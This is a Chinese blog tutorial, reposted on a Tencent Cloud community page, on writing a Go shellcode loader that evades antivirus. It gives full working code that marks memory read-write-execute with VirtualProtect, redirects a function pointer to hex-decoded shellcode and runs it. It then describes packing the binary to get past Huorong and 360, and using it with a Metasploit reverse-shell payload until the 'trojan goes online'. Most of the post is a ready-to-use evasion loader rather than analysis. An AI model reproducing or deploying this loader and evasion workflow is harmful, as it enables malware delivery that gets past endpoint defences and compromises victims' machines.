前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >自写go加载器加壳免杀——过国内主流杀软

自写go加载器加壳免杀——过国内主流杀软

作者头像
乌鸦安全
发布2021-11-16 11:24:12
4K2
发布2021-11-16 11:24:12
举报
文章被收录于专栏:乌鸦安全乌鸦安全

本文作者:zedxx10师傅 01免杀编写说明

  1. ‍‍‍参考自己公司大佬写的go木马中的内存保护
  2. 必须对Windows一些重要dll 和 go语言的指针有所了解(重 要 ! )
  3. 思路:还是和我之前的文章一样采用分离式加载免杀

02shellcode加载器

shellcode加载器的编写结构:

1. 定义一个接收函数

2. 将你的shellcode放入你的刚才定义的接收函数

3. 解密shellcode

4. 加载运行

03shellcode实现 讲 解

1. go语言编写的基本原则

go语言必要的 package main以及func main 主函数

代码语言:javascript
复制
package main
func main(){
    
}

基本的go结构:所有的函数都从main函数开始加载,如果没有放入函数,则不会执行该函数。

你创建的函数必须写在main函数之上

在主函数中加入Run函数(待会儿我们要创建的),并且该函数需要单独创建一个 这里只是调用:

2. 使用Run函数就得创建一个名为Run的函数,但是在那之前我们要使用一个保护函数待会用于保护我们的shellcode地址:

在这里可以创建VirtualProtect函数用来保护我们的函数,并且去掉一些函数特征。

具体代码如下:

代码语言:javascript
复制
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}

这里我们需要了解几个重要的函数:

syscall这是调用函数的函数;

NewLazyDLL来调取kernel32.dll(极其重要的链接库 几乎所有的木马都会调用这个函数);

NewProc是指api;

NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api;

有兴趣的可以参考《恶意代码分析》这本书:

3. 将你保护代码放入你的定义函数之中

这里涉及go语言指针,简单的说一下指针,可能讲的会有些模糊。

指针是一个地址传递的,地址传递会发生内存地址的改变。

但是这个和值传递不同有所不同。

其中指针表示: *一级指针 **二级指针

代码语言:javascript
复制
func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}

在这里对下面的代码进行解读:

代码语言:javascript
复制
VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
代码语言:javascript
复制
解读:
unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 
unsafe.Sizeof(uinpter(0))保护的参数设置为0  
unint32(0x40)flNewProtect是内存新的属性类型,将PAGE_EXECUTE_READWRITE设置为(0x40)时该内存页为可读可写可执行并且是最大权限

VirtualProtect 函数的意思:

继续:

代码语言:javascript
复制
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))

将shellcode放入函数中,&sc为shellcode的内存地址;这里的目的就是将shellcode的地址赋值给了&f的地址。

通俗的讲就是:

以前shellcode的地址是&sc 现在变成&f ,而&f的地址是进行了内存保护的,等同于shellcode也被保护了。

shellcode的地址

代码语言:javascript
复制
VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))

4. 最后一步,调用f函数:

代码语言:javascript
复制
这里调用f函数
f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 
然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址

04完整shellcode代码

完整代码如下:

代码语言:javascript
复制
package main
import (
    "encoding/hex"
    "fmt"
    "os"
    "syscall"
    "unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") //syscall是调用函数 通过call NewLazyDLL来调取kernel32.dll(及其重要的链接库 几乎所有的木马都会调用这个函数)NewProc是指api NewProc("VirtualProtect")就是获取VirtualProtect这个函数的api
//保护内存函数 去掉特征
func VirtualProtect(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) { //转换为同一类型的地址  uintptr,uint32
    t, _, _ := procVirtualProtect.all(
        uintptr(a),
        uintptr(b),
        uintptr(c),
        uintptr(d))
    fmt.Print(t)
}
func Run(sc []byte) {
    //定义函数
    f := func() {}
    var old uint32
    //一级指针的值为f的地址
    //unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))) 将&f转换为1级指针的地址 unsafe.Sizeof(uinpter(0))保护的参数为0 unint32(0x40)flNewProtect,内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行
    VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&old))
    //将shellcode 放入函数中  &sc为shellcode的地址 **(**uintptr)(unsafe.Pointer(&f))就是将shellcode的地址赋值给了&f的地址
    **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    var orgshellcode uint32
    //shellcode地址
    VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&orgshellcode))
    f() //这里调用f函数 f的地址通过**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))被更改为shellcode的地址 然后VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))),uintptr(len(sc)),uint32(0x40),unsafe.Pointer(&orgshellcode))保护了shellcode的内存地址
}
func main() {
    //解密
    x, _ := hex.DecodeString(os.Args[1])
    Run(x)
}

其中:import是自动导入,不需要手动输入

以上完成了所有的代码,由于go语言无法直接执行,我们需要进行编译,编译方法如下:

找到你的go语言所在路径 cmd 使用

代码语言:javascript
复制
go build main.go

此时会编译生成一个main.exe (火绒会报毒 )

05加 壳 免 杀

免杀还是采用加壳,upx可以使用但需要抹除特征码(对汇编不好的师傅不太友好,而且容易出问题)。

这里还是采用 safe的壳:

用法很简单:

将你的exe 拖入之后就可以了 (这里选择默认加壳模式就行了,当然如果懂汇编的师傅可以尝试一下其它的选项)

免杀效果:可过火绒和360。

06msf配合免杀演示

1. msf 生成木马

其中,LHOST、 LPORT 根据自己的情况设置。

2.查看生成的木马:

代码语言:javascript
复制
cat   rev.hex

3.创建监听

4.加载你的shellcode

找到你加壳后的exe,在 cmd中运行:

代码语言:javascript
复制
main_se.exe + rev.hex的文件内容

此时木马上线成功

07 总 结

本次的内容,对于不懂汇编或者go语言的师傅会理解比较困难。我也尽力通俗的进行了描述, 如有不便请多担待,当然在这里生成的木马还是有点大,请师傅们理解。

08 tips

以上文章为zedxx10师傅所写,感谢zedxx10师傅的技术分享。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档